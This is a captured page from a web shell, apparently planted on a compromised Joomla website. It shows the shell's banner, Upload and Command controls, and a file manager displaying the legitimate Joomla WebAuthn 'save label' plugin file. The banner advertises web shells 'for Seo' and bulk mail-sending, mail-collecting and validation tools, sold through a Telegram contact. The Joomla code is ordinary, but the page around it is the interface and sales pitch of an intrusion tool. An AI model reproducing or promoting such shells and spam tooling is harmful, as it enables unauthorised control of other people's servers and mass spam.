__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
<?php

/**
 * @package     Joomla.Plugin
 * @subpackage  System.Webauthn
 *
 * @copyright   (C) 2020 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

namespace Joomla\Plugin\System\Webauthn\PluginTraits;

use Joomla\CMS\Event\Plugin\System\Webauthn\AjaxSaveLabel;
use Joomla\CMS\User\User;

// phpcs:disable PSR1.Files.SideEffects
\defined('_JEXEC') or die;
// phpcs:enable PSR1.Files.SideEffects

/**
 * Ajax handler for akaction=savelabel
 *
 * Stores a new label for a security key
 *
 * @since   4.0.0
 */
trait AjaxHandlerSaveLabel
{
    /**
     * Handle the callback to rename an authenticator
     *
     * @param   AjaxSaveLabel  $event  The event we are handling
     *
     * @return  void
     *
     * @since   4.0.0
     */
    public function onAjaxWebauthnSavelabel(AjaxSaveLabel $event): void
    {
        // Initialize objects
        $input      = $this->getApplication()->getInput();
        $repository = $this->authenticationHelper->getCredentialsRepository();

        // Retrieve data from the request
        $credentialId = $input->getBase64('credential_id', '');
        $newLabel     = $input->getString('new_label', '');

        // Is this a valid credential?
        if (empty($credentialId)) {
            $event->addResult(false);

            return;
        }

        $credentialId = base64_decode($credentialId);

        if (empty($credentialId) || !$repository->has($credentialId)) {
            $event->addResult(false);

            return;
        }

        // Make sure I am editing my own key
        try {
            $credentialHandle = $repository->getUserHandleFor($credentialId);
            $user             = $this->getApplication()->getIdentity() ?? new User();
            $myHandle         = $repository->getHandleFromUserId($user->id);
        } catch (\Exception $e) {
            $event->addResult(false);

            return;
        }

        if ($credentialHandle !== $myHandle) {
            $event->addResult(false);

            return;
        }

        // Make sure the new label is not empty
        if (empty($newLabel)) {
            $event->addResult(false);

            return;
        }

        // Save the new label
        try {
            $repository->setLabel($credentialId, $newLabel);
        } catch (\Exception $e) {
            $event->addResult(false);

            return;
        }

        $event->addResult(true);
    }
}

Filemanager

Name Type Size Permission Actions
AdditionalLoginButtons.php File 6.14 KB 0664
AjaxHandler.php File 6.84 KB 0664
AjaxHandlerChallenge.php File 3.1 KB 0664
AjaxHandlerCreate.php File 4.65 KB 0664
AjaxHandlerDelete.php File 2.18 KB 0664
AjaxHandlerInitCreate.php File 1.74 KB 0664
AjaxHandlerLogin.php File 12.31 KB 0664
AjaxHandlerSaveLabel.php File 2.44 KB 0664
EventReturnAware.php File 1.06 KB 0664
UserDeletion.php File 2.14 KB 0664
UserProfileFields.php File 7.12 KB 0664
Filemanager